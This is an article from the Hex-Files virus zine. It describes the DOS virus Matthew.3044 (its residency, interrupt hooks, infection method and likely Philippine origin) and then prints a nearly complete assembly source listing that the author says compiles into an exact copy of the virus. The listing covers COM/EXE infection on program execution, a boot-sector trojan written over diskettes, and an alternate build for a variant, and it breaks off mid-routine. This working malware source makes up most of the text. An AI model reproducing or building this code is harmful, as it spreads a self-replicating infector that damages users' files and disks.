Copy Link
Add to Bookmark
Report
Hexfiles Issue 2 File 011
HEX-FILES No. 2 File 011
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
Matthew.3044
Matthew goes resident as a low memory TSR (258 paras = 9600 bytes)
and hooks int 08, 13 and 21. It infects COM and EXE programs on EXEC
(21/4B00). 3044 bytes are added to the length infected programs. EXEs
are aligned and are further padded by 1 to 15 bytes. Matthew is found
at the end of EXE programs and the start of COM programs.
Matthew drops a trojan, a message popper, on boot sectors of
diskettes on reset disk (13/0). The trojan would display a framed
message, Matthew chapter 6 verse 26, and "System Disk Needed...".
Matthew 6:26 would also be displayed on a delayed timer trigger.
One other thing about Matthew is that pairs of NOPs are hard coded.
This is probably to avoid being detected as its earlier variant.
Matthew originated from the Philippines?
You would not find in the virus code any direct reference to its
country of origin. However, I believe that Matthew was written in the
Philippines, Adamson University in particular.
It is widespread in the country considering it is not a fast
infector. Another thing is that it has many similarities with
Possessed. One obvious similarity is the int 24 handler/call to old
int 21 handler routines. I have not seen any other virii that use
these two routines, other than those based on Possessed. (I have not
seen that many virus code though) You would also find other routines
in the virus that had been influenced by Possessed.
The way I look at this, an assembly language teacher might have asked
his class to create a virus based on Possessed as their project.
Oggo, another virus based on Possessed, appeared in the wild at
almost the same time as Matthew. The authors of these two virii might
have been classmates.
If you know what "1st Bat.94 (Sw & Sh)" means, we might be able to
pin down the origin of the virus. The "1st Bat.94" might refer to
first batch 1994. The "(Sw & Sh)" part, I have no idea of.
Also, if you have a copy of Matthew.2667, there might be something
there that can give us a clue as to the origin of the virus.
ÄÄ MATT3044.ASM STARTS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;-------------------------------------------------------------------
; *WARNING*WARNING*WARNING*WARNING*WARNING*WARNING*WARNING*WARNING*
; *WARNING WARNING*
; *WARNING overwrites diskette boot sectors WARNING*
; *WARNING WARNING*
; *WARNING*WARNING*WARNING*WARNING*WARNING*WARNING*WARNING*WARNING*
;-------------------------------------------------------------------
;
; Virus: Matthew.3044
; Alias: Matthew, Matthiew.3044
; Probable Origin: Adamson University, Manila, Philippines
;
;-------------------------------------------------------------------
;
; This source code is written in a way so that when compiled you will
; get an exact copy of the virus.
;
; You will only be able to duplicate the original virus if you use
; *TASM 2.01* or *MASM 5.0* to compile this program listing. Other
; compilers or versions of a compiler might produce a virus different
; from that originally released.
;
; This can also be compiled in a86 4.02 but you will be creating a
; new variant.
;
; Compile to COM.
;
;-------------------------------------------------------------------
; Program listing created by Putoksa Kawayan. HEX-FILES No. 2
;-------------------------------------------------------------------
;
ExeHeader struc
isExeId dw ?
isMod dw ?
isBlocks dw ?
isRelocItemCt dw ?
isHeaderSize dw ?
isMinAlloc dw ?
isMaxAlloc dw ?
isSs dw ?
isSp dw ?
isCxSum dw ?
isIp dw ?
isCs dw ?
ExeHeader ends
Matthew segment 'code'
assume cs:Matthew, ds:nothing
MemoryMarkerLoc equ 03ech
SaveSsOnInt21 equ 03e8h
SaveSpOnInt21 equ 03f0h
VirLen equ offset MatthewEntry-offset EndVirusCode
ExecParam equ offset EndVirusCode+15
MaxRow equ 9
MaxColumn equ 37
org 100h
MatthewEntry:
jmp Relay1
;---------------------------- this would clear the jump instructions
;---------------------------- if you use "type" on infected coms
db 13,13,32,32,32,32,10,13,10,13
;---------------------------- this message would be replaced with a fresh
;---------------------------- copy when it goes resident
MatthewMessage label byte
db 0dah,35 dup (0c4h),0bfh
db 13,10,0b3h,32
db "Look at the birds of the air," ,5 dup (32),0b3h,13,10,0b3h,32
db "they do not sow or reap or store" ,32,32,0b3h,13,10,0b3h,32
db "away in barns, yet your Heavenly" ,32,32,0b3h,13,10,0b3h,32
db "Father feeds them. Are you not" ,4 dup (32),0b3h,13,10,0b3h,32
db "much more valuable than they?" ,5 dup (32),0b3h,13,10
db 0c3h,35 dup (0c4h),0b4h
db 13,10,0b3h,32
db "Matthew 6:26 1st Bat.94 (Sw & Sh)" ,32,0b3h,13,10
db 0c0h,35 dup (0c4h),0d9h
;---------------------------- this would end display if "type" is used
db 10,13,10,13,36,13,32,13,10,0,26
;---------------------------- virus data
InfectMark1 dw 92a1h
InfectMark2 dw 0505h
VirLenConst dw offset EndVirusCode-offset MatthewEntry
ExeBlk dw ?
ExeMod dw ?
ExeCs dw ?
ExeIp dw ?
ExeSs dw ?
ExeSp dw ?
ExeCxSm dw ?
CxSumVar db ?
Psp dw ?
whatsthisfor1 dw ?
FileTypeFlag db ?
whatsthisfor2 db 1
DosInterrupt label dword
DosIntOffset dw ?
DosIntSegment dw ?
ClockInterrupt label dword
ClockIntOffset dw ?
ClockIntSegment dw ?
ErrorIntOffset dw ?
ErrorIntSegment dw ?
DiskInterrupt label dword
DiskIntOffset dw ?
DiskIntSegment dw ?
Relay1:
jmp PrepareForSetUp
whatsthisfor3 db 4 dup (?)
HostProgram label dword
HostProgramOffset dw ?
HostProgramSegment dw ?
VirusAsciiz db 80 dup (?)
whatsthisfor4 db 36
Handle dw ?
Attribute dw ?
ComLength dw 16
AllocatedMemory dw ?
FileDate dw ?
FileTime dw ?
ExeLengthLo dw ?
ExeLengthHi dw ?
HostNameEnvSegment dw ?
HostNameEnvOffset dw ?
DosVersion db ?
Environment dw ?
whatsthisfor5 db 3 dup (?)
ShowPayloadFlag db ?
DropTrojanFlag db ?
Timer dw ?
VideoPage db ?
CursorPosition dw ?
;---------------------------------------- payload routines
GetVideoMode:
mov ah,0fh ; get current video mode
int 10h ; and active video page
mov VideoPage,bh
ret
ReadCursorPosition:
mov ah,3 ; get cusor status
mov bh,VideoPage
int 10h
mov CursorPosition,dx
ret
SetCursorPosition:
mov ah,2 ; move cursor
mov bh,VideoPage
int 10h
ret
ReadScreen:
mov bh,VideoPage ; read char and attribute
mov ah,8 ; at cursor position
int 10h
ret
WriteScreen:
mov bh,VideoPage ; write char and attribute
mov ah,9 ; at cursor position
int 10h
ret
;---------------------------------------- display message
ShowPayload:
push cs
pop ds
push cs
pop es
xor dx,dx
mov di,offset MatthewMessage ; set pointer to text
WriteNextChar:
call SetCursorPosition
mov al,es:[di]
mov bl,38
add di,1
call WriteScreen ; and display
add dl,1
cmp dl,MaxColumn
jb WriteNextChar
add di,2
mov dl,0
add dh,1
cmp dh,MaxRow
jb WriteNextChar
ret
;---------------------------------------- main payload routine
ShowTime:
push cs
pop es
push cs
pop ds
mov di,offset EndVirusCode ; set save screen buffer
call ReadCursorPosition ; save current cursor location
xor dx,dx
mov cx,1 ; start at row 0 column 1
;---------------------------------------- save current screen content
SaveNextChar:
call SetCursorPosition ; move cursor
call ReadScreen
mov es:[di],ax
add di,2
add dl,1
cmp dl,MaxColumn
jb SaveNextChar
mov dl,0
add dh,1
cmp dh,MaxRow
jb SaveNextChar
xor dx,dx
call SetCursorPosition
;---------------------------------------- show Matthew 6:26
call ShowPayload
mov ah,0
int 16h ; pause
;---------------------------------------- restore original screen content
xor dx,dx
mov di,offset EndVirusCode ; set pointer to screen save
RestoreNextChar: ; buffer
call SetCursorPosition
mov ax,es:[di]
mov bl,ah
add di,2
call WriteScreen ; and restore
add dl,1
cmp dl,MaxColumn
jb RestoreNextChar
mov dl,0
add dh,1
cmp dh,MaxRow
jb RestoreNextChar
mov dx,CursorPosition
call SetCursorPosition
ret
;---------------------------------------- marks memory SelfRec
SetMemoryMark:
push es
xor ax,ax
mov es,ax
mov byte ptr es:MemoryMarkerLoc,87h
pop es
ret
;---------------------------------------- initialize data
InitializeClockCounter:
mov Timer,0
ret
ClearPayloadFlag:
mov ShowPayloadFlag,0
ret
Trigger dw -16
;---------------------------------------- int 8 handler
isClock:
pushf
call ClockInterrupt
pushf
cmp ShowPayloadFlag,1 ; am i activating?
je PassToClock
nop
nop
cmp DropTrojanFlag,1 ; am i dropping trojan?
je PassToClock
nop
nop
push es
push ds
push di
push ax
push bx
push cx
push dx
mov ax,Trigger
cmp Timer,ax ; is it show time?
jb DoNotShowPayload
nop
nop
cmp ax,1000h ; is trigger at lowest limit?
jb GotLowerLimit ; if yes, no reset.
nop
nop
sub Trigger,1000h ; lessen next trigger time?
GotLowerLimit:
call InitializeClockCounter ; reset timer
mov ShowPayloadFlag,1 ; set showtime flag
call GetVideoMode ; get video mode and screen page
cmp al,3 ; are we on 80x25 text mode?
jne DoNotShowPayload ; if no, no show
nop
nop
call ShowTime ; payload time
DoNotShowPayload:
add Timer,1 ; increment timer
pop dx
pop cx
pop bx
pop ax
pop di
pop ds
pop es
mov ShowPayloadFlag,0 ; clear payload flag
PassToClock:
popf
iret
;-----------------------------------------------------------------
; You can compare the int 24 handler and the call to the original
; int 21 handler to that Possessed and Oggo. Isn't it the same
; except for minor alterations.
;-----------------------------------------------------------------
;---------------------------------------- int 24 handler
isError:
xor ax,ax
mov es,ax
mov ss,es:SaveSsOnInt21
mov sp,es:SaveSpOnInt21
pop ax
pop es
pop bp
stc
ret
;---------------------------------------- call to old dos handler
UseDos:
push bp
push es
push ax
xor ax,ax
mov es,ax
mov es:SaveSsOnInt21,ss
mov es:SaveSpOnInt21,sp
pop ax
pop es
pushf
call DosInterrupt
pop bp
ret
;---------------------------------------- Matthew boot sector trojan
isTrojan:
jmp TrojanStart
DisketteBpb db 68 dup (?) ; diskette original bpb
;---------------------------------------- This is decrypted on install
;---------------------------------------- to get a fresh copy of the
;---------------------------------------- text. Possessed like, isn't it?
;---------------------------------------- encrypted text
MatthewMessEncrypt label byte
;==========================================================================;
; This is the original message of Matthew.3044 ;
;==========================================================================;
db 25h,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh ;
db 3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh ;
db 3bh,3bh,3bh,3bh,40h,0f2h,0f5h,4ch,0dfh,0b3h,90h,90h,94h,0dfh,9eh ;
db 8bh,0dfh,8bh,97h,9ah,0dfh,9dh,96h,8dh,9bh,8ch,0dfh,90h,99h,0dfh ;
db 8bh,97h,9ah,0dfh,9eh,96h,8dh,0d3h,0dfh,0dfh,0dfh,0dfh,0dfh,4ch,0f2h ;
db 0f5h,4ch,0dfh,8Bh,97h,9Ah,86h,0DFh,9Bh,90h,0DFh,91h,90h,8Bh,0DFh,8Ch ;
db 90h,88h,0DFh,90h,8Dh,0DFh,8Dh,9Ah,9Eh,8Fh,0DFh,90h,8Dh,0DFh,8Ch,8Bh ;
db 90h,8dh,9ah,0dfh,0dfh,4ch,0f2h,0f5h,4ch,0dfh,9eh,88h,9eh,86h,0dfh,96h;
db 91h,0dfh,9dh,9eh,8dh,91h,8ch,0d3h,0dfh,86h,9ah,8bh,0dfh,86h,90h,8ah ;
db 8dh,0dfh,0b7h,9ah,9eh,89h,9ah,91h,93h,86h,0dfh,0dfh,4ch,0f2h,0f5h ;
db 4ch,0dfh,0b9h,9eh,8bh,97h,9ah,8dh,0dfh,99h,9ah,9ah,9bh,8ch,0dfh,8bh ;
db 97h,9ah,92h,0d1h,0dfh,0beh,8dh,9ah,0dfh,86h,90h,8ah,0dfh,91h,90h,8bh ;
db 0dfh,0dfh,0dfh,0dfh,4ch,0f2h,0f5h,4ch,0dfh,92h,8ah,9ch,97h,0dfh,92h ;
db 90h,8dh,9ah,0dfh,89h,9eh,93h,8ah,9eh,9dh,93h,9ah,0dfh,8bh,97h,9eh ;
db 91h,0dfh,8bh,97h,9ah,86h,0c0h,0dfh,0dfh,0dfh,0dfh,0dfh,4ch,0f2h,0f5h ;
db 3ch,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh ;
db 3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh ;
db 3bh,3bh,4bh,0f2h,0f5h,4ch,0dfh,0b2h,9eh,8bh,8bh,97h,9ah,88h,0dfh ;
db 0c9h,0c5h,0cdh,0c9h,0dfh,0ceh,8ch,8bh,0dfh,0bdh,9eh,8bh,0d1h,0c6h ;
db 0cbh,0dfh,0d7h,0ach,88h,0dfh,0d9h,0dfh,0ach,97h,0d6h,0dfh,4ch,0f2h ;
db 0f5h,3fh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh ;
db 3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh ;
db 3bh,3bh,3bh,3bh,26h ;
;==========================================================================;
;> Use this to create Matthew.3044 with the corrupted message. <|
;> In some places, Matthew.3044 with corrupted message is more common. <|
;> Frisk's F-Prot flags this as Matthew.3044.unknown <|
;==========================================================================;
; db 25h,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh
; db 3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh
; db 3bh,3bh,3bh,3bh,40h,0f2h,0f5h,4ch,0dfh,0b3h,90h,90h,94h,0dfh,9eh
; db 8bh,0dfh,8bh,97h,9ah,0dfh,9dh,96h,8dh,9bh,8ch,0dfh,90h,99h,0dfh
; db 8bh,97h,9ah,0dfh,9eh,96h,8dh,0d3h,0dfh,0dfh,0dfh,0dfh,0dfh,4ch,0f2h
; db 0f5h,4ch,0dfh,43h,74h,72h,6ch,2dh,41h,6ch,74h,2dh,4ch,65h,66h,74h
; db 53h,68h,69h,66h,74h,2dh,52h,69h,67h,68h,74h,53h,68h,69h,66h,74h,24h
; db 8dh,9ah,0dfh,0dfh,4ch,0f2h,0f5h,4ch,0dfh,9eh,88h,9eh,86h,0dfh,96h
; db 91h,0dfh,9dh,9eh,8dh,91h,8ch,0d3h,0dfh,86h,9ah,8bh,0dfh,86h,90h,8ah
; db 8dh,0dfh,0b7h,9ah,9eh,89h,9ah,91h,93h,86h,0dfh,0dfh,4ch,0f2h,0f5h
; db 4ch,0dfh,0b9h,9eh,8bh,97h,9ah,8dh,0dfh,99h,9ah,9ah,9bh,8ch,0dfh,8bh
; db 97h,9ah,92h,0d1h,0dfh,0beh,8dh,9ah,0dfh,86h,90h,8ah,0dfh,91h,90h,8bh
; db 0dfh,0dfh,0dfh,0dfh,4ch,0f2h,0f5h,4ch,0dfh,92h,8ah,9ch,97h,0dfh,92h
; db 90h,8dh,9ah,0dfh,89h,9eh,93h,8ah,9eh,9dh,93h,9ah,0dfh,8bh,97h,9eh
; db 91h,0dfh,8bh,97h,9ah,86h,0c0h,0dfh,0dfh,0dfh,0dfh,0dfh,4ch,0f2h,0f5h
; db 3ch,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh
; db 3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh
; db 3bh,3bh,4bh,0f2h,0f5h,4ch,0dfh,0b2h,9eh,8bh,8bh,97h,9ah,88h,0dfh
; db 0c9h,0c5h,0cdh,0c9h,0dfh,0ceh,8ch,8bh,0dfh,0bdh,9eh,8bh,0d1h,0c6h
; db 0cbh,0dfh,0d7h,0ach,88h,0dfh,0d9h,0dfh,0ach,97h,0d6h,0dfh,4ch,0f2h
; db 0f5h,3fh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh
; db 3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh,3bh
; db 3bh,3bh,3bh,3bh,26h
;--------------------------------------------------------------------------;
;---------------------------------------- encrypted System Disk Needed...
BootMessage label byte
db 0f2h,0f5h,0f2h,0f5h,0ach,86h,8ch,8bh,9ah,92h,0dfh,0bbh,96h,8ch,94h
db 0dfh,0b1h,9ah,9ah,9bh,9ah,9bh,0d1h,0d1h,0d1h,0f2h,0f5h,5dh
;---------------------------------------- trojan display char routine
DisplayChar:
mov ah,0eh
mov bx,16h
mov cx,1
int 10h
ret
;---------------------------------------- display message on boot
ShowBibleTract:
mov al,[si]
cmp al,5dh
je DonePreaching
nop
nop
not al
call DisplayChar
inc si
jmp ShowBibleTract
DonePreaching:
ret
;---------------------------------------- dummy for call $+3 + pop
CallPop:
jmp DoPop
TrojanStart:
xor ax,ax
mov ss,ax
mov sp,7c00h
call CallPop
DoPop:
pop di
mov ax,(DoPop-MatthewMessEncrypt)
sub di,ax ; set offset of text
push cs
pop ds
RepeatKuno:
mov si,di
call ShowBibleTract ; display text
xor ax,ax
int 16h ; pause
int 19h ; load another boot sector
jmp RepeatKuno
DiskBootSig dw 0aa55h
;---------------------------------------- write trojan to boot sector
WriteTrojan:
mov bx,offset isTrojan
mov ax,301h
mov cx,1
mov dh,0
pushf
call DiskInterrupt
ret
;---------------------------------------- preserve diskette bpb
CopyDisketteBpb:
mov di,offset DisketteBpb
mov si,offset EndVirusCode+3
mov cx,(MatthewMessEncrypt-DisketteBpb)
cld
repe movsb
ret
;---------------------------------------- read boot sector
ReadBootSector:
push cs
pop es
push cs
pop ds
mov bx,offset EndVirusCode
mov ax,201h
mov cx,1
mov dh,0
pushf
call DiskInterrupt
ret
DropTrojan:
push ax ; save registers
push bx
push cx
push dx
push si
push di
push ds
push es
push cs
pop es
mov DropTrojanFlag,1 ; set dropping trojan flag
call ReadBootSector ; read boot sector
call CopyDisketteBpb ; copy disk's bpb
call WriteTrojan ; drop the trojan
mov DropTrojanFlag,0 ; clear dropping trojan flag
pop es ; restore registers
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
ret
;---------------------------------------- int 8 handler
isDisk:
pushf
cmp ah,0 ; reset disk?
jne PassToDisk ; exit if no
nop
nop
test dl,80h ; is it a hard disk?
jne PassToDisk ; if yes, exit
nop
nop
cmp dl,2 ; drive a: or b: ?
je PassToDisk ; if no, exit
nop
nop
call DropTrojan ; then drop trojan
PassToDisk:
popf
jmp DiskInterrupt
;---------------------------------------- copy executing program's name
CopyPreyNameToAsciiz:
push ds
push cs
pop ds
mov di,offset VirusAsciiz
mov ax,ds
pop ds
mov es,ax
mov si,dx
mov cx,80
cld
repe movsb
ret
MovePointerBegin:
xor cx,cx
mov dx,cx
mov ax,4200h ; move file pointer to
call UseDos ; start of program
ret
;---------------------------------------- make fresh copy of text
MakeDecryptedCopyOfMessage:
push cs
pop ds
mov cx,(BootMessage-MatthewMessEncrypt) ; set char count
mov di,offset MatthewMessage ; set destination
mov si,offset MatthewMessEncrypt ; set source
cld
DecryptAndCopy:
mov ax,ds
mov es,ax
mov al,[si]
not al ; decrypt...
mov es:[di],al ; ...and copy
inc di
inc si
loop DecryptAndCopy
ret
;---------------------------------------- write virus code
WriteVirusToFile:
mov dx,offset MatthewEntry
mov cx,VirLenConst
mov ah,40h
mov bx,Handle
call UseDos
ret
;---------------------------------------- check disk's free space
CheckDiskSpace:
mov ah,36h
mov dl,0
call UseDos
cmp ax,-1 ; error?
jne CheckFreeSpace
nop
nop
NotEnoughSpace:
stc
ret
CheckFreeSpace:
xor dx,dx
mul bx
mul cx
or dx,dx ; enough space?
jne EnoughSpace
nop
nop
cmp ax,VirLenConst ; is it enough for me?
jb NotEnoughSpace
EnoughSpace:
ret
;---------------------------------------- clear buffer for decrypted
;---------------------------------------- for command.com
ClearCommandComBuffer:
push cs
pop ds
mov cx,11
xor si,si
ClearLoop:
mov byte ptr ds:[si+offset CommandComBuffer],9dh
nop
inc si
loop ClearLoop
ret
assume cs:Matthew, ds:Matthew
;---------------------------------------- infection routine
InfectExecutingProgram:
call CopyPreyNameToAsciiz ; copy name of executing program
call ClearCommandComBuffer ; clear command.com buffer
mov ax,3524h
call UseDos
mov ErrorIntSegment,es ; save and hook error handler
mov ErrorIntOffset,bx
mov ax,2524h
mov dx,offset isError
call UseDos
jmp SetInfect
assume cs:Matthew, ds:nothing
RestoreErrorInterrupt:
mov ax,2524h ; restore int 24
mov dx,ErrorIntOffset
mov ds,ErrorIntSegment
call UseDos
ret
SetInfect:
call CheckDiskSpace ; check if there's enough free space
jc RestoreErrorInterrupt
mov dx,offset VirusAsciiz
mov ax,4300h
call UseDos ; get file attribute
jc RestoreErrorInterrupt
mov Attribute,cx
mov ax,4301h
mov cx,20h
call UseDos ; set file attribute to normal
jc RestoreErrorInterrupt
mov ax,3d02h ; open file
call UseDos
jc RestoreErrorInterrupt
mov Handle,ax
mov bx,ax
mov ax,5700h ; save file time and date stamp
call UseDos
mov FileDate,dx
mov FileTime,cx
mov bx,-2 ; allocate memory for infection
mov ah,48h
call UseDos
jnc EnoughMemory
nop
nop
mov ah,48h
call UseDos
jc RestoreErrorInterrupt
EnoughMemory:
mov AllocatedMemory,ax
xor cx,cx ; get file length
mov dx,cx
mov bx,Handle
mov ax,4202h
call UseDos
jc Relay2
nop
nop
mov ComLength,ax
call MovePointerBegin
jc Relay2
nop
nop
mov cx,ComLength
xor dx,dx
mov ds,AllocatedMemory
mov ah,3fh ; read entire com file
call UseDos
Relay2:
jc DoneWithFile
nop
nop
xor si,si
mov FileTypeFlag,1
cmp word ptr [si],'ZM' ; is it exe?
je Relay4
nop
nop
mov ax,InfectMark1 ; is com infected?
cmp [si+(InfectMark1-MatthewEntry)],ax
je Relay3
nop
nop
mov ax,InfectMark2 ; is it really infected?
cmp [si+(InfectMark2-MatthewEntry)],ax
je Relay3
nop
nop
call MovePointerBegin ; move pointer to start
jmp CheckComLength
Relay3:
jmp DoneWithFile
CheckComLength:
mov ax,ComLength
add ax,VirLenConst
cmp ax,0fde6h ; file too big?
jnb Relay3
push cs
pop ds
call WriteVirusToFile ; infect
mov bx,Handle
mov cx,ComLength
mov ds,AllocatedMemory
not word ptr ds:[0] ; encrypt first two bytes of
xor dx,dx ; host and write it
mov ah,40h
call UseDos
jmp DoneWithFile
Relay4:
jmp isExe
DoneWithFile:
mov es,AllocatedMemory ; release allocated memory
mov ah,49h
call UseDos
mov bx,Handle ; restore date and time stamp
mov dx,FileDate
mov cx,FileTime
mov ax,5701h
call UseDos
mov ah,3eh ; close file
call UseDos
push cs
pop ds
mov dx,offset VirusAsciiz
mov cx,Attribute ; restore attribute
mov ax,4301h
call UseDos
ret
Relay5:
jmp DoneWithFile
isExe:
mov FileTypeFlag,0
mov ds,AllocatedMemory
xor si,si
;---------------------------------------- check for infection
cmp word ptr [si].isCxSum,2770h
je Relay5
cmp word ptr [si].isCxSum,2771h
je Relay5
cmp word ptr [si].isCxSum,2772h
je Relay5
cmp word ptr [si].isCxSum,2773h
je Relay5
cmp word ptr [si].isCxSum,2774h
je Relay5
cmp word ptr [si].isCxSum,2775h
je Relay5
cmp word ptr [si].isCxSum,2776h
je Relay5
cmp word ptr [si].isCxSum,2777h
je Relay5
cmp word ptr [si].isCxSum,2778h
je Relay5
cmp word ptr [si].isCxSum,2779h
je Relay5
cmp word ptr [si].isCxSum,277ah
je Relay5
cmp word ptr [si].isCxSum,277bh
je Relay5
cmp word ptr [si].isCxSum,277ch
je Relay5
cmp word ptr [si].isCxSum,277dh
je Relay5
cmp word ptr [si].isCxSum,277eh
je Relay5
push [si].isCxSum ; save checksum
pop ExeCxSm
mov word ptr [si].isCxSum,2770h
mov ax,[si].isSs
add ax,16
mov ExeSs,ax ; save header ss
mov ax,[si].isSp
mov ExeSp,ax ; save header sp
mov ax,[si].isIp
mov ExeIp,ax ; save header ip
mov ax,[si].isCs
add ax,16
mov ExeCs,ax ; save header cs
push [si].isBlocks
pop ExeBlk ; save block count
push [si].isMod
pop ExeMod ; save mod
xor ax,ax
mov al,CxSumVar ; all copies i've seen, this
add ax,2770h ; is always 0
mov [si].isCxSum,ax ; set infect mark
mov ax,[si].isBlocks
cmp word ptr [si].isMod,0
je PageAligned
nop
nop
dec ax
PageAligned:
mov bx,512
mul bx
add ax,[si].isMod
adc dx,0
add ax,15 ; align length
adc dx,0
and ax,0fff0h
mov ExeLengthLo,ax
mov ExeLengthHi,dx
add ax,VirLenConst
adc dx,0
jc Relay6 ; file too big?
nop
nop
div bx
or dx,dx
je AlignedToPage
nop
nop
inc ax
AlignedToPage:
mov [si].isBlocks,ax
mov [si].isMod,dx
mov ax,ExeLengthLo
mov dx,ExeLengthHi
mov bx,16
div bx
sub ax,[si].isHeaderSize
sub ax,16
mov [si].isCs,ax ; set up vir exe header
mov word ptr [si].isIp,offset MatthewEntry
mov [si].isSs,ax
mov word ptr [si].isSp,offset EndVirusCode+100h
mov bx,Handle
call MovePointerBegin
mov cx,28
xor dx,dx
mov ah,40h ; write virus exe header
call UseDos
assume cs:Matthew, ds:Matthew
push cs
pop ds
mov dx,ExeLengthLo
mov cx,ExeLengthHi
mov ax,4200h ; move pointer to end of file
call UseDos
call WriteVirusToFile ; infect
Relay6:
jmp DoneWithFile
assume cs:Matthew, ds:nothing
;---------------------------------------- encrypted command.com
EncryptedCommandComm db 9ch,90h,92h,92h,9eh,91h,9bh,0d1h,9ch,90h,92h,0
db '$'
;---------------------------------------- int 21 handler
isDos:
pushf
cmp ax,4b00h ; exec
jne PassToDos
nop
nop
push ds ; save registers
push es
push si
push di
push ax
push bx
push cx
push dx
call InfectExecutingProgram ; call infection routine
pop dx ; restore registers
pop cx
pop bx
pop ax
pop di
pop si
pop es
pop ds
PassToDos:
popf ; execute original int handler
jmp DosInterrupt
assume cs:Matthew, ds:Matthew
SaveInt21Vector:
mov ax,3521h ; get and save int 21 vector
int 21h
mov DosIntSegment,es
mov DosIntOffset,bx
ret
HookInt21:
mov ax,2521h ; hook int 21
push cs
pop ds
mov dx,offset isDos
int 21h
ret
SaveInt08Vector:
mov ax,3508h ; get and save int 8 vector
int 21h
mov ClockIntSegment,es
mov ClockIntOffset,bx
assume cs:Matthew, ds:nothing
mov Trigger,-16 ; initialize payload trigger
ret
HookInt08:
xor ax,ax ; hook int 8
mov es,ax
mov es:[(8*4)+2],cs
mov ax,offset isClock
mov es:[8*4],ax
ret
SaveInt13Vector:
push es ; get and save int 13 vector
mov ax,3513h
int 21h
mov DiskIntSegment,es
mov DiskIntOffset,bx
pop es
ret
HookInt13:
push es ; hook int 13
xor ax,ax
mov es,ax
mov es:[(13h*4)+2],cs
mov ax,offset isDisk
mov es:[13h*4],ax
pop es
ret
CommandComBuffer db 12 dup (?),'$'
GetHostNameInEnvironment:
mov es,es:[2ch] ; get name of host program
xor di,di
cld
mov al,0
IsItStartOfFileName:
cmp al,es:[di]
je GotStartOfFileName
nop
nop
mov cx,-1
repne scasb
jmp IsItStartOfFileName
GotStartOfFileName:
add di,3
mov HostNameEnvOffset,di
mov HostNameEnvSegment,es
ret
SetCommandComForExec:
push cs ; decrypt and copy command.com for exec
pop ds
mov cx,11
xor si,si
DecryptAndCopyCommand:
mov ah,ds:[si+offset EncryptedCommandComm]
not ah
mov ds:[si+offset CommandComBuffer],ah
inc si
loop DecryptAndCopyCommand
mov dx,offset CommandComBuffer
ret
ReleaseEnvironment:
push es ; release environment to heap
mov es,cs:[2ch]
mov ah,49h
int 21h
pop es
ret
PrepareForSetUp:
mov Psp,es
call GetHostNameInEnvironment
mov es,Psp
push es
xor ax,ax
mov es,ax
;---------------------------------------- check if already resident
cmp byte ptr es:MemoryMarkerLoc,87h ; myself
je isMemoryResident
nop
nop
cmp byte ptr es:MemoryMarkerLoc,78h ; early version
je isMemoryResident
nop
nop
pop es
jmp PrepareToMoveCode
isMemoryResident:
pop es
jmp ExecuteHostProgram
;---------------------------------------- prepare to go memory resident
SetUpMatthew:
mov ax,es
cli
mov ss,ax
sub sp,16
sti
mov ds,HostProgramSegment ; copy move coder
mov si,HostProgramOffset
mov di,offset MoveCode
mov cx,9
cld
repe movsb
mov ds,ax
call ReleaseEnvironment ; release environment
call InitializeClockCounter ; initialize timer
call ClearPayloadFlag ; clear payload flag
call SaveInt21Vector ; save int 21
call HookInt21 ; hook int 21
call SaveInt13Vector ; save int 13
call HookInt13 ; hook int 13
call SaveInt08Vector ; save int 8
call HookInt08 ; hook int 8
call MakeDecryptedCopyOfMessage ;create fresh copy of text
push cs
pop es
push cs
pop ds
mov ax,es:[2ch] ; save segment of environment
mov Environment,ax
mov si,0ah ; save terminate vector (int 22)
mov di,offset EndVirusCode
mov cx,6
cld
repe movsw
mov bx,offset isTerminate ; set virus terminate routine
mov es:[0ah],bx
mov es:[0ch],cs
mov dx,offset EndVirusCode
mov ah,4dh
call UseDos ; what for?
mov cx,4
shr dx,cl
add dx,30h
mov ah,31h
call UseDos ; tsr
isTerminate:
call SetMemoryMark ; st memory selfrec
push cs
push cs
pop ds
mov es,Psp
mov si,offset EndVirusCode ; restore terminate vector
mov di,0ah
mov cx,6
cld
repe movsw
pop es
mov ax,Psp
mov si,ExecParam ; set-up exec param
mov [si+4],ax
mov word ptr [si+2],80h
mov [si+8],ax
mov word ptr [si+6],5ch
mov [si+12],ax
mov word ptr [si+10],6ch
mov ax,Environment
mov [si],ax
mov ah,30h ; get dos version
int 21h
mov DosVersion,al
cli
mov ExeSs,ss
mov ExeSp,sp
sti
mov ds,HostNameEnvSegment
mov dx,HostNameEnvOffset
ExecuteCommandCom:
mov bx,ExecParam
mov ax,4b00h ; execute host program
cmp DosVersion,3
jb OldDos
nop
nop
call UseDos
jmp VictimExecuted
OldDos:
int 21h
VictimExecuted:
jnc GetReturnCode
nop
nop
